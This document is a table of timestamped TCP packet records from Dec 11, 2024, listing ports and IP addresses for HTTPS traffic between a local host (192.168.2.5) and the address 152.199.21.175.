Dec 11, 2024 19:23:23.516921997 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.516936064 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.518378019 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.518469095 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.518830061 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.518912077 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.518929958 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.547342062 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.547739983 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.559338093 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.562936068 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.562954903 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.609325886 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.820099115 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.867085934 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.872294903 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872313976 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872334003 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872359037 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.872364998 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872380018 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872392893 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872412920 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.872425079 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.872437954 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.872466087 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.872473001 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.913269997 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.028955936 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.029238939 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.029314041 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.029329062 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.029367924 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.030508995 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.030524015 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.032649040 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.038400888 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.038469076 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.038518906 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.038547039 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.038573027 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.038626909 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.039827108 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.039844036 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.055362940 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.055378914 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.055432081 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.055466890 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.055490971 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.055517912 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.055541992 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.055562019 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.067451000 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.067498922 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.067555904 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.068131924 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.068147898 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.069171906 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.069231033 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.069298029 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.069629908 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.069648027 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.073199987 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.101782084 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.101793051 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.101828098 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.101871014 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.101891994 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.101919889 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.101939917 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.127378941 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.127407074 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.127518892 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.127518892 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.127561092 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.127583027 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.127619982 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.127640009 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.221736908 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.221765995 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.221864939 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.221884966 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.221956015 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.252402067 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.252425909 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.252608061 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.252625942 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.252696991 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.269994974 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.270090103 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.270103931 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.270198107 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.270251036 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.270433903 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.270462990 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.275841951 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.275883913 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.275953054 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.276145935 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.276174068 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.285379887 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.285450935 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.285507917 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.285543919 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.285571098 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.285582066 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.626055002 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.626070976 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.626140118 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.626178980 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.626199961 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.626219988 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.626229048 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.631795883 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.631814003 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.631880045 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.631906033 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.631947994 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.634850025 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.634896994 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.634926081 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.634938955 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.634957075 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.634968996 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.746366024 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.746401072 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.746527910 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.746607065 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.746668100 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.789418936 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.789475918 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.789503098 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.789510012 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.789539099 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.789557934 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.822489023 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.822539091 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.822576046 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.822583914 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.822632074 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.822638988 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.860918045 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.860937119 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.861011028 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.861022949 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.861079931 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.899522066 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.899566889 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.899619102 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.899630070 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.899657011 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.899677992 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.930727959 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.930783987 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.930838108 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.930850029 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.930866003 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.930906057 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.958635092 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.958659887 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.958863020 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.958888054 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.958949089 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.982558012 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.982606888 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.982724905 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.982726097 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:24.982791901 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:24.982848883 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.004563093 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.004617929 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.004736900 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.004738092 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.004803896 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.004862070 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.016546011 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.016592026 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.016633034 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.016649008 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.016690969 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.016711950 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.030299902 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.030348063 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.030390024 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.030405998 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.030435085 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.030457020 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.030467987 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.043611050 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.043668985 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.043704033 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.043716908 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.043766975 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.055071115 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.055084944 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.055170059 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.055188894 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.068398952 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.068418026 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.068478107 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.068495035 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.068523884 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.081020117 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.081060886 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.081125975 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.081142902 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.081176043 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.093195915 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.093261957 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.093288898 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.093303919 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.093329906 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.103365898 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.103408098 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.103456974 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.103471994 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.103516102 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.114425898 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.114475012 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.114515066 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.114530087 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.114554882 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.124521017 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.124566078 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.124605894 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.124619961 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.124648094 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.134069920 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.134119987 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.134160042 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.134180069 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.134202003 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.143539906 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.143580914 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.143625975 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.143640041 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.143661976 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.151386023 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.151402950 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.151458025 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.151473045 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.151503086 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.157989025 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.158001900 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.158082008 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.158097982 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.165381908 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.165400982 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.165468931 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.165484905 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.165513992 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.172296047 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.172310114 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.172383070 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.172396898 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.191545963 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.191617966 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.191665888 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.191674948 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.191695929 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.196666002 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.196711063 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.196749926 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.196763992 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.196789980 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.202409029 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.202460051 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.202502966 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.202517033 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.202541113 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.207942009 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.207984924 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.208024979 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.208038092 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.208061934 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.212578058 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.212629080 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.212675095 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.212687969 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.212717056 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.218142033 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.218199968 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.218240976 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.218252897 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.218276024 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.222697020 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.222747087 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.222780943 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.222793102 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.222820997 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.227719069 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.227761984 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.227809906 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.227823019 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.227855921 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.269256115 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.382700920 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.382730961 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.382826090 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.382850885 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.382905960 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.385054111 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.385087967 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.385133982 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.385139942 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.385159969 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.385181904 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.387700081 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.387718916 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.387782097 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.387790918 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.387833118 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.390758038 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.390774012 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.390837908 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.390845060 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.390881062 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.393251896 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.393269062 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.393337965 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.393346071 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.393395901 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.396215916 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.396233082 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.396308899 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.396320105 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.396359921 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.398901939 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.398921013 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.399004936 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.399013042 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.399050951 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.401386976 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.401402950 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.401463985 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.401473045 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.401506901 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.574897051 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.574923038 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.574970007 CET	50002	443	192.168.2.5	152.199.21.175
